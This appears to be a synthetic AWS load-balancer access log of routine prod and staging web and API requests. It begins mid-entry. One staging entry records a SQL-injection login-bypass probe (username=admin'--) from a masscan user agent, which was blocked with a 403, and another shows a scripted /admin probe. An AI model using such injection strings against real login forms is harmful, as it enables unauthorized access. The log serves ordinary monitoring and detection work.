AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c635-0f24c5f01f1f481896babf80" "prod-api-alb.example.com" "-" 1 2024-11-01T01:02:29.268178Z "forward" "-" "-" "10.0.243.106:443" "200" "-" "-" -https 2024-11-01T01:02:30.691549Z staging-alb 173.94.146.250:62580 172.72.233.237:8080 0.127856 0.653430 0.106841 302 302 97 6556 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c636-1269b452adce4bd5b3c9471a" "staging-alb.example.com" "-" 6 2024-11-01T01:02:30.691549Z "forward" "-" "-" "172.72.233.237:8080" "302" "-" "-" -http 2024-11-01T01:02:31.708976Z staging-alb 66.132.196.25:32325 172.89.10.238:443 0.077137 0.470806 0.133670 200 200 951 3838 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c637-007ae8bd1b9e4dfab6288ed2" "staging-alb.example.com" "-" 7 2024-11-01T01:02:31.708976Z "forward" "-" "-" "172.89.10.238:443" "200" "-" "-" -http 2024-11-01T01:02:31.844124Z staging-alb 7.142.2.51:55037 107.241.255.94:80 0.091128 0.141415 0.127500 200 200 546 11487 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c637-9437847c5a1845b7b47c0f0e" "staging-alb.example.com" "-" 7 2024-11-01T01:02:31.844124Z "forward" "-" "-" "107.241.255.94:80" "200" "-" "-" -https 2024-11-01T01:02:32.994735Z prod-web-alb 150.107.137.126:24606 10.0.153.47:443 0.076248 0.407137 0.021793 200 200 641 6189 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c638-41dbee9bbe1b4762aea6265f" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:32.994735Z "forward" "-" "-" "10.0.153.47:443" "200" "-" "-" -https 2024-11-01T01:02:34.849058Z prod-api-alb 232.170.53.1:47112 10.0.214.140:443 0.008069 0.396742 0.078292 404 404 217 9943 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c63a-f917aea70e4c439a8c314d78" "prod-api-alb.example.com" "-" 4 2024-11-01T01:02:34.849058Z "forward" "-" "-" "10.0.214.140:443" "404" "-" "-" -https 2024-11-01T01:02:36.485348Z prod-web-alb 146.179.210.161:45211 10.0.253.7:443 0.054508 0.285705 0.021405 404 404 40 11146 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c63c-757efb1b6da64265a350c792" "prod-web-alb.example.com" "-" 1 2024-11-01T01:02:36.485348Z "forward" "-" "-" "10.0.253.7:443" "404" "-" "-" -https 2024-11-01T01:02:38.285875Z prod-web-alb 82.91.233.99:38916 10.0.239.159:443 0.001733 0.412690 0.013407 200 200 988 7494 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c63e-6eee97d19807435a92fed13b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:38.285875Z "forward" "-" "-" "10.0.239.159:443" "200" "-" "-" -https 2024-11-01T01:02:40.261611Z staging-alb 193.146.90.101:24851 240.43.136.20:80 0.093754 0.487997 0.128725 200 200 545 12007 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c640-65e14f5fcff748669f58d54c" "staging-alb.example.com" "-" 3 2024-11-01T01:02:40.261611Z "forward" "-" "-" "240.43.136.20:80" "200" "-" "-" -https 2024-11-01T01:02:40.934073Z prod-api-alb 215.147.31.145:48126 10.0.56.165:443 0.021787 0.271184 0.024226 200 200 582 6481 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c640-0112b4cc9b8948a3a6680e32" "prod-api-alb.example.com" "-" 10 2024-11-01T01:02:40.934073Z "forward" "-" "-" "10.0.56.165:443" "200" "-" "-" -https 2024-11-01T01:02:42.401610Z prod-api-alb 150.111.246.162:17955 10.0.108.190:443 0.043564 0.438278 0.090323 200 200 920 11509 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c642-79ea324bf6d440b4b8596bac" "prod-api-alb.example.com" "-" 2 2024-11-01T01:02:42.401610Z "forward" "-" "-" "10.0.108.190:443" "200" "-" "-" -https 2024-11-01T01:02:44.232633Z prod-api-alb 19.103.144.180:44741 10.0.68.255:443 0.022183 0.103416 0.040890 200 200 975 7222 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c644-31154cd4633649b9bfe68fc3" "prod-api-alb.example.com" "-" 7 2024-11-01T01:02:44.232633Z "forward" "-" "-" "10.0.68.255:443" "200" "-" "-" -https 2024-11-01T01:02:46.118194Z prod-web-alb 238.176.177.240:64206 10.0.131.211:443 0.044083 0.416217 0.044773 200 200 101 9289 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c646-33c56ea37fd241eab4eba955" "prod-web-alb.example.com" "-" 8 2024-11-01T01:02:46.118194Z "forward" "-" "-" "10.0.131.211:443" "200" "-" "-" -https 2024-11-01T01:02:47.122523Z staging-alb 34.141.202.154:28984 189.56.165.52:8080 0.045681 0.543494 0.004646 200 200 261 7404 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c647-c8ef3af3b8414301ad131bc0" "staging-alb.example.com" "-" 8 2024-11-01T01:02:47.122523Z "forward" "-" "-" "189.56.165.52:8080" "200" "-" "-" -https 2024-11-01T01:02:48.181627Z prod-web-alb 251.77.217.154:55454 10.0.223.114:443 0.000500 0.346522 0.094346 200 200 650 14244 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c648-ecf38492bc8e49e58ce57574" "prod-web-alb.example.com" "-" 1 2024-11-01T01:02:48.181627Z "forward" "-" "-" "10.0.223.114:443" "200" "-" "-" -https 2024-11-01T01:02:49.883625Z prod-web-alb 154.113.80.246:63731 10.0.136.10:443 0.098676 0.152684 0.076380 200 200 622 8963 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c649-4298f5fd2d23401ba1df3222" "prod-web-alb.example.com" "-" 3 2024-11-01T01:02:49.883625Z "forward" "-" "-" "10.0.136.10:443" "200" "-" "-" -https 2024-11-01T01:02:51.144549Z prod-api-alb 35.59.31.142:32251 10.0.154.21:443 0.002479 0.186253 0.058352 404 404 116 3664 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c64b-345d09fed4f9470dac5de0d9" "-" "-" 6 2024-11-01T01:02:51.144549Z "forward" "-" "-" "10.0.154.21:443" "404" "-" "-" -https 2024-11-01T01:02:52.877437Z prod-web-alb 206.112.119.96:54793 10.0.230.173:443 0.040316 0.410308 0.053395 200 200 266 1216 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c64c-bd62bc9aed1a45238ff0100f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:02:52.877437Z "forward" "-" "-" "10.0.230.173:443" "200" "-" "-" -https 2024-11-01T01:02:54.135357Z prod-api-alb 30.72.162.71:33030 10.0.96.237:443 0.043174 0.398929 0.068595 200 200 503 13823 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c64e-ad43e2eb80be4099bf0947c2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:02:54.135357Z "forward" "-" "-" "10.0.96.237:443" "200" "-" "-" -http 2024-11-01T01:02:55.725349Z staging-alb 71.236.209.247:35620 79.235.217.174:80 0.034483 0.611956 0.064136 302 302 20 14614 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c64f-ee6e378275934e0ebadf4864" "-" "-" 2 2024-11-01T01:02:55.725349Z "forward" "-" "-" "79.235.217.174:80" "302" "-" "-" -https 2024-11-01T01:02:57.634916Z prod-web-alb 116.250.3.126:37277 10.0.103.190:443 0.072963 0.313810 0.099966 301 301 908 8855 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c651-e140f1a71613485695a5c73d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:02:57.634916Z "forward" "-" "-" "10.0.103.190:443" "301" "-" "-" -https 2024-11-01T01:02:57.818678Z prod-api-alb 152.189.136.37:43383 10.0.151.32:443 0.080895 0.305324 0.016672 301 301 934 10442 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c651-50255c7c4b364cfba15264d6" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:57.818678Z "forward" "-" "-" "10.0.151.32:443" "301" "-" "-" -https 2024-11-01T01:02:58.671564Z prod-web-alb 231.212.77.27:43821 10.0.172.201:443 0.095250 0.254113 0.089671 200 200 643 5314 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c652-a11c53eb3d2f48d8ae9194b9" "prod-web-alb.example.com" "-" 1 2024-11-01T01:02:58.671564Z "forward" "-" "-" "10.0.172.201:443" "200" "-" "-" -https 2024-11-01T01:03:00.598821Z prod-api-alb 193.128.218.18:55923 10.0.142.221:443 0.060659 0.160413 0.039735 200 200 639 638 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c654-ee18f8365639400990e45e96" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:00.598821Z "forward" "-" "-" "10.0.142.221:443" "200" "-" "-" -https 2024-11-01T01:03:01.381382Z staging-alb 255.208.136.204:26295 156.228.144.89:443 0.120216 0.375935 0.060514 302 302 2 4242 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c655-53ca66ee1db8422181d788f4" "staging-alb.example.com" "-" 3 2024-11-01T01:03:01.381382Z "forward" "-" "-" "156.228.144.89:443" "302" "-" "-" -https 2024-11-01T01:03:02.066696Z prod-web-alb 236.154.47.96:54875 10.0.83.156:443 0.047921 0.207022 0.083867 200 200 638 6396 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c656-95b22e9c74594d1e8720a4aa" "prod-web-alb.example.com" "-" 6 2024-11-01T01:03:02.066696Z "forward" "-" "-" "10.0.83.156:443" "200" "-" "-" -https 2024-11-01T01:03:02.365485Z staging-alb 238.88.211.94:42490 133.44.167.107:8080 0.125234 0.393166 0.027975 302 302 259 2098 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c656-c47eb634079e467e84ec3e5c" "staging-alb.example.com" "-" 8 2024-11-01T01:03:02.365485Z "forward" "-" "-" "133.44.167.107:8080" "302" "-" "-" -https 2024-11-01T01:03:03.055237Z prod-web-alb 213.72.36.33:14310 10.0.130.151:443 0.069318 0.348715 0.018969 200 200 286 12584 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c657-c8865f0150fd44dba85ad828" "prod-web-alb.example.com" "-" 5 2024-11-01T01:03:03.055237Z "forward" "-" "-" "10.0.130.151:443" "200" "-" "-" -https 2024-11-01T01:03:03.220880Z prod-web-alb 49.84.158.248:59213 10.0.202.132:443 0.041595 0.194594 0.004138 200 200 477 10818 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c657-9702d8eecc4e4b98907db19b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:03:03.220880Z "forward" "-" "-" "10.0.202.132:443" "200" "-" "-" -https 2024-11-01T01:03:04.236789Z prod-api-alb 146.135.251.25:12197 10.0.76.71:443 0.087216 0.468942 0.087368 200 200 605 4513 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c658-c29b074151784d93a51a3f2b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:03:04.236789Z "forward" "-" "-" "10.0.76.71:443" "200" "-" "-" -https 2024-11-01T01:03:06.001906Z prod-web-alb 151.159.16.249:60930 10.0.55.154:443 0.014881 0.292775 0.055736 200 200 812 2669 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c65a-aa162e3481a84a3cb14d5887" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:06.001906Z "forward" "-" "-" "10.0.55.154:443" "200" "-" "-" -https 2024-11-01T01:03:06.277165Z prod-api-alb 59.22.193.147:62209 10.0.209.146:443 0.051047 0.392935 0.029784 200 200 208 5783 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c65a-3b7a57fbe3314f1489878365" "prod-api-alb.example.com" "-" 2 2024-11-01T01:03:06.277165Z "forward" "-" "-" "10.0.209.146:443" "200" "-" "-" -https 2024-11-01T01:03:06.560985Z prod-api-alb 221.95.171.167:49719 10.0.197.247:443 0.011377 0.003774 0.024762 302 302 849 915 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c65a-a4d2acd6db6e48ae8e3f595d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:03:06.560985Z "forward" "-" "-" "10.0.197.247:443" "302" "-" "-" -https 2024-11-01T01:03:07.241739Z staging-alb 201.198.128.62:64731 103.228.203.46:80 0.016800 0.019481 0.050443 301 301 592 6081 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c65b-30f1bee40b084a3c9c5b1146" "staging-alb.example.com" "-" 9 2024-11-01T01:03:07.241739Z "forward" "-" "-" "103.228.203.46:80" "301" "-" "-" -https 2024-11-01T01:03:09.210771Z staging-alb 129.175.119.121:22459 202.44.15.57:8080 0.129777 0.586074 0.124751 200 200 674 12404 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c65d-eef28c6c200a41b18cd09754" "staging-alb.example.com" "-" 9 2024-11-01T01:03:09.210771Z "forward" "-" "-" "202.44.15.57:8080" "200" "-" "-" -https 2024-11-01T01:03:09.393677Z staging-alb 182.61.151.150:50691 104.27.32.250:8080 0.037077 0.153848 0.104379 200 200 843 12203 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c65d-7198bd4b54f0496f90abff61" "staging-alb.example.com" "-" 3 2024-11-01T01:03:09.393677Z "forward" "-" "-" "104.27.32.250:8080" "200" "-" "-" -https 2024-11-01T01:03:11.275501Z staging-alb 225.221.151.119:10597 5.97.90.238:80 0.015307 0.498742 0.149449 404 404 962 12410 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c65f-190f35681f49444db0f3e30c" "staging-alb.example.com" "-" 6 2024-11-01T01:03:11.275501Z "forward" "-" "-" "5.97.90.238:80" "404" "-" "-" -https 2024-11-01T01:03:12.523832Z prod-api-alb 232.192.92.68:21988 10.0.216.235:443 0.086366 0.099309 0.043605 200 200 516 13648 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c660-ea78baadfd134ee2ab565a3d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:03:12.523832Z "forward" "-" "-" "10.0.216.235:443" "200" "-" "-" -https 2024-11-01T01:03:12.954131Z prod-web-alb 130.45.41.26:15478 10.0.184.195:443 0.063759 0.348194 0.076055 200 200 517 11060 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c660-3312e2d0a3bc4328b99d6659" "prod-web-alb.example.com" "-" 4 2024-11-01T01:03:12.954131Z "forward" "-" "-" "10.0.184.195:443" "200" "-" "-" -http 2024-11-01T01:03:13.261057Z staging-alb 206.179.72.168:49377 195.64.225.133:80 0.093613 0.025471 0.102990 200 200 351 10377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c661-cbf8b6debfb84dee892a669f" "staging-alb.example.com" "-" 0 2024-11-01T01:03:13.261057Z "forward" "-" "-" "195.64.225.133:80" "200" "-" "-" -https 2024-11-01T01:03:14.963751Z prod-api-alb 25.197.83.142:40412 10.0.62.61:443 0.037653 0.300459 0.056849 301 301 691 3252 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c662-43ae110401a34815a1029f7f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:03:14.963751Z "forward" "-" "-" "10.0.62.61:443" "301" "-" "-" -https 2024-11-01T01:03:16.853632Z prod-api-alb 198.130.45.94:19690 10.0.151.127:443 0.056474 0.077718 0.087456 200 200 264 12404 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c664-ad53b8fb7fec4714b9fef665" "prod-api-alb.example.com" "-" 6 2024-11-01T01:03:16.853632Z "forward" "-" "-" "10.0.151.127:443" "200" "-" "-" -https 2024-11-01T01:03:18.412581Z staging-alb 9.210.243.100:57726 25.32.9.58:443 0.002235 0.453176 0.016282 302 302 900 4877 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c666-e106eafa3f224bcdae595439" "staging-alb.example.com" "-" 0 2024-11-01T01:03:18.412581Z "forward" "-" "-" "25.32.9.58:443" "302" "-" "-" -https 2024-11-01T01:03:19.687758Z prod-web-alb 193.27.228.87:18640 10.0.5.169:443 0.081396 0.251531 0.040598 301 301 767 3444 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c667-d75efb6d00fe471e9fa3f26d" "-" "-" 3 2024-11-01T01:03:19.687758Z "forward" "-" "-" "10.0.5.169:443" "301" "-" "-" -https 2024-11-01T01:03:20.928402Z staging-alb 185.181.76.214:46830 167.36.10.191:80 0.103534 0.133983 0.058563 403 403 480 8927 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c668-b66282b74d03449e98541511" "-" "-" 3 2024-11-01T01:03:20.928402Z "forward" "-" "-" "167.36.10.191:80" "403" "-" "-" -https 2024-11-01T01:03:21.093787Z staging-alb 229.185.95.79:24709 217.209.122.158:8080 0.130591 0.519851 0.108414 200 200 366 13362 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c669-da7b9406076f46f1b2fe46e7" "staging-alb.example.com" "-" 3 2024-11-01T01:03:21.093787Z "forward" "-" "-" "217.209.122.158:8080" "200" "-" "-" -https 2024-11-01T01:03:23.062421Z prod-web-alb 18.37.105.191:50993 10.0.115.90:443 0.047962 0.456292 0.037509 404 404 841 11122 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c66b-0b2d3db195b74d62a64aaf0b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:03:23.062421Z "forward" "-" "-" "10.0.115.90:443" "404" "-" "-" -https 2024-11-01T01:03:23.416015Z prod-api-alb 66.88.215.147:25830 10.0.89.78:443 0.079275 0.220544 0.009246 301 301 569 376 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" 